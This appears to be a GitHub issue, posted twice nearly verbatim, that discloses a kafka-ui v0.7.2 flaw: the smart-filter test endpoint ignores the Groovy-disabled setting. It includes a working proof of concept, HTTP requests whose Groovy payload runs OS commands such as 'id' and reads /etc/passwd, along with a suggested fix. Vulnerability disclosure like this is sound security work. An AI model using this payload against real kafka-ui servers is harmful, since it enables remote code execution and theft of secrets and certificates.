Issue submitter TODO list
Describe the bug (actual behavior)
reported via email on 25 May 2026 and 15 June 2026 - no response.
I am reporting a security vulnerability in kafka-ui affecting the latest release v0.7.2. The
vulnerability allows any authenticated user to execute arbitrary operating system commands on the
server, bypassing the filtering.groovy.enabled security control that was introduced to prevent
Groovy-based code execution.
Summary
The PUT /api/smartfilters/testexecutions endpoint executes arbitrary Groovy scripts without
checking the filtering.groovy.enabled property. When an administrator sets
filtering.groovy.enabled=false (the default) to disable Groovy script execution, the restriction
only applies to the message filtering endpoint (GET /api/clusters/.../messages). The
testexecutions endpoint is not guarded by this check and will execute any Groovy script regardless
of the setting. This allows any authenticated user to achieve remote code execution on the server.
Technical Details
The vulnerability is in MessagesController.java. The executeSmartFilterTest method (line 75) does
not call checkIfFilteringGroovyEnabled(), while getTopicMessages does. The method passes the
attacker-supplied filterCode directly to MessageFilters.createMsgFilter() with type GROOVY_SCRIPT,
which compiles and evaluates it using GroovyScriptEngineImpl.
Relevant source locations:
kafka-ui-api/src/main/java/com/provectus/kafka/ui/controller/MessagesController.java, line 75
kafka-ui-api/src/main/java/com/provectus/kafka/ui/service/MessagesService.java, line 86
kafka-ui-api/src/main/java/com/provectus/kafka/ui/emitter/MessageFilters.java, line 41
Expected behavior
No response
Your installation details
Steps to reproduce
PoC
The following demonstrates the vulnerability on a kafka-ui instance with AUTH_TYPE=LOGIN_FORM and
FILTERING_GROOVY_ENABLED=false (default):
Step 1: Log in to obtain a session cookie.
POST /auth HTTP/1.1
Host: target:8080
Content-Type: application/x-www-form-urlencoded
username=admin&password=admin_password
Step 2: Confirm that the guard blocks the normal message filter path (expected behavior).
GET /api/clusters/local/topics/test/messages?filterQueryType=GROOVY_SCRIPT&q=1%3D%3D1&seekType=BEGINNING HTTP/1.1
Host: target:8080
Cookie: SESSION=<session_cookie>
Response: {"message":"Groovy filters is not allowed..."}
Step 3: Bypass the guard and execute an OS command via the testexecutions endpoint.
PUT /api/smartfilters/testexecutions HTTP/1.1
Host: target:8080
Cookie: SESSION=<session_cookie>
Content-Type: application/json
{"filterCode":"throw new Exception(["id"].execute().text)","key":"k","value":"v","timestampMs":1000}
Response: {"result":null,"error":"Execution error : java.lang.Exception: uid=100(kafkaui)..."}
The output of the id command is returned in the error field, confirming OS-level code execution.
Any OS command can be substituted. File system reads such as new File("/etc/passwd").text also work.
Impact
Any authenticated user (no admin role required) can:
- Execute arbitrary commands on the kafka-ui server
- Read all files accessible to the kafka-ui process, including Kafka SSL certificates and secrets
- Pivot to internal Kafka brokers, Schema Registry, and Kafka Connect services
This is distinct from CVE-2023-52251 (unauthenticated, different endpoint), CVE-2024-32030 (JMX
deserialization), and CVE-2026-5562 (missing validateAccess on same endpoint). The specific impact
here is that the filtering.groovy.enabled=false security control added in v0.7.2 is bypassed.
Affected Versions
All versions up to and including v0.7.2 (latest).
Suggested Fix
Add a call to dynamicConfigOperations.checkIfFilteringGroovyEnabled() at the beginning of the
executeSmartFilterTest method in MessagesController.java, before delegating to
MessagesService.execSmartFilterTest(). Additionally, consider adding validateAccess() with
appropriate topic permissions to ensure RBAC policies are enforced.
Screenshots
No response
Logs
No response
Additional context
No response
Issue submitter TODO list
master-labeled docker image and the issue still persists thereDescribe the bug (actual behavior)
reported via email on 25 May 2026 and 15 June 2026 - no response.
I am reporting a security vulnerability in kafka-ui affecting the latest release v0.7.2. The
vulnerability allows any authenticated user to execute arbitrary operating system commands on the
server, bypassing the filtering.groovy.enabled security control that was introduced to prevent
Groovy-based code execution.
Summary
The PUT /api/smartfilters/testexecutions endpoint executes arbitrary Groovy scripts without
checking the filtering.groovy.enabled property. When an administrator sets
filtering.groovy.enabled=false (the default) to disable Groovy script execution, the restriction
only applies to the message filtering endpoint (GET /api/clusters/.../messages). The
testexecutions endpoint is not guarded by this check and will execute any Groovy script regardless
of the setting. This allows any authenticated user to achieve remote code execution on the server.
Technical Details
The vulnerability is in MessagesController.java. The executeSmartFilterTest method (line 75) does
not call checkIfFilteringGroovyEnabled(), while getTopicMessages does. The method passes the
attacker-supplied filterCode directly to MessageFilters.createMsgFilter() with type GROOVY_SCRIPT,
which compiles and evaluates it using GroovyScriptEngineImpl.
Relevant source locations:
kafka-ui-api/src/main/java/com/provectus/kafka/ui/controller/MessagesController.java, line 75
kafka-ui-api/src/main/java/com/provectus/kafka/ui/service/MessagesService.java, line 86
kafka-ui-api/src/main/java/com/provectus/kafka/ui/emitter/MessageFilters.java, line 41
Expected behavior
No response
Your installation details
Steps to reproduce
PoC
The following demonstrates the vulnerability on a kafka-ui instance with AUTH_TYPE=LOGIN_FORM and
FILTERING_GROOVY_ENABLED=false (default):
Step 1: Log in to obtain a session cookie.
POST /auth HTTP/1.1
Host: target:8080
Content-Type: application/x-www-form-urlencoded
username=admin&password=admin_password
Step 2: Confirm that the guard blocks the normal message filter path (expected behavior).
GET /api/clusters/local/topics/test/messages?filterQueryType=GROOVY_SCRIPT&q=1%3D%3D1&seekType=BEGINNING HTTP/1.1
Host: target:8080
Cookie: SESSION=<session_cookie>
Response: {"message":"Groovy filters is not allowed..."}
Step 3: Bypass the guard and execute an OS command via the testexecutions endpoint.
PUT /api/smartfilters/testexecutions HTTP/1.1
Host: target:8080
Cookie: SESSION=<session_cookie>
Content-Type: application/json
{"filterCode":"throw new Exception(["id"].execute().text)","key":"k","value":"v","timestampMs":1000}
Response: {"result":null,"error":"Execution error : java.lang.Exception: uid=100(kafkaui)..."}
The output of the id command is returned in the error field, confirming OS-level code execution.
Any OS command can be substituted. File system reads such as new File("/etc/passwd").text also work.
Impact
Any authenticated user (no admin role required) can:
This is distinct from CVE-2023-52251 (unauthenticated, different endpoint), CVE-2024-32030 (JMX
deserialization), and CVE-2026-5562 (missing validateAccess on same endpoint). The specific impact
here is that the filtering.groovy.enabled=false security control added in v0.7.2 is bypassed.
Affected Versions
All versions up to and including v0.7.2 (latest).
Suggested Fix
Add a call to dynamicConfigOperations.checkIfFilteringGroovyEnabled() at the beginning of the
executeSmartFilterTest method in MessagesController.java, before delegating to
MessagesService.execSmartFilterTest(). Additionally, consider adding validateAccess() with
appropriate topic permissions to ensure RBAC policies are enforced.
Screenshots
No response
Logs
No response
Additional context
No response